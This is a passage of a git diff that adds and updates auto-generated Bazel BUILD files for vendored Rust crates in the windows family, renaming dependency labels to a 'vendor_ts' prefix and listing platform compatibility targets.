@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.4.0",
     deps = [
-        "@vendor__winapi-x86_64-pc-windows-gnu-0.4.0//:build_script_build",
+        "@vendor_ts__winapi-x86_64-pc-windows-gnu-0.4.0//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-0.58.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-0.58.0.bazel
new file mode 100644
index 000000000000..cc4916d9c7c1
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-0.58.0.bazel
@@ -0,0 +1,87 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "windows",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=windows",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.58.0",
+    deps = [
+        "@vendor_ts__windows-core-0.58.0//:windows_core",
+        "@vendor_ts__windows-targets-0.52.6//:windows_targets",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.52.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.52.0.bazel
index e55c7e5da8d1..89ebc463e004 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.52.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.52.0.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.52.0",
     deps = [
-        "@vendor__windows-targets-0.52.6//:windows_targets",
+        "@vendor_ts__windows-targets-0.52.6//:windows_targets",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.58.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.58.0.bazel
new file mode 100644
index 000000000000..232bf2496602
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.58.0.bazel
@@ -0,0 +1,92 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "windows_core",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    proc_macro_deps = [
+        "@vendor_ts__windows-implement-0.58.0//:windows_implement",
+        "@vendor_ts__windows-interface-0.58.0//:windows_interface",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=windows-core",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.58.0",
+    deps = [
+        "@vendor_ts__windows-result-0.2.0//:windows_result",
+        "@vendor_ts__windows-strings-0.1.0//:windows_strings",
+        "@vendor_ts__windows-targets-0.52.6//:windows_targets",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-implement-0.58.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-implement-0.58.0.bazel
new file mode 100644
index 000000000000..d9bbe3ad12c3
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-implement-0.58.0.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "windows_implement",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=windows-implement",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.58.0",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-interface-0.58.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-interface-0.58.0.bazel
new file mode 100644
index 000000000000..875df272d2a3
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-interface-0.58.0.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "windows_interface",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=windows-interface",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.58.0",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-link-0.1.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-link-0.1.1.bazel
new file mode 100644
index 000000000000..9c42ef20e0b9
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-link-0.1.1.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "windows_link",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=windows-link",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.1.1",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-result-0.2.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-result-0.2.0.bazel
new file mode 100644
index 000000000000..f32ca5f6cde8
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-result-0.2.0.bazel
@@ -0,0 +1,86 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "windows_result",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=windows-result",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.2.0",
+    deps = [
+        "@vendor_ts__windows-targets-0.52.6//:windows_targets",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-strings-0.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-strings-0.1.0.bazel
new file mode 100644
index 000000000000..1d38767dcb2f
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-strings-0.1.0.bazel
@@ -0,0 +1,87 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "windows_strings",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=windows-strings",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.1.0",
+    deps = [
+        "@vendor_ts__windows-result-0.2.0//:windows_result",
+        "@vendor_ts__windows-targets-0.52.6//:windows_targets",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.48.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.48.0.bazel
index 2addd7c9aa43..744659daedf9 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.48.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.48.0.bazel
@@ -40,7 +40,6 @@ rust_library(
         "Win32_System_IO",
         "Win32_System_Pipes",
         "Win32_System_Threading",
-        "Win32_System_WindowsProgramming",
         "default",
     ],
     crate_root = "src/lib.rs",
@@ -96,6 +95,6 @@ rust_library(
     }),
     version = "0.48.0",
     deps = [
-        "@vendor__windows-targets-0.48.5//:windows_targets",
+        "@vendor_ts__windows-targets-0.48.5//:windows_targets",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.52.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.52.0.bazel
index 8d2ee2174e1b..ab36b4cfa4e0 100644
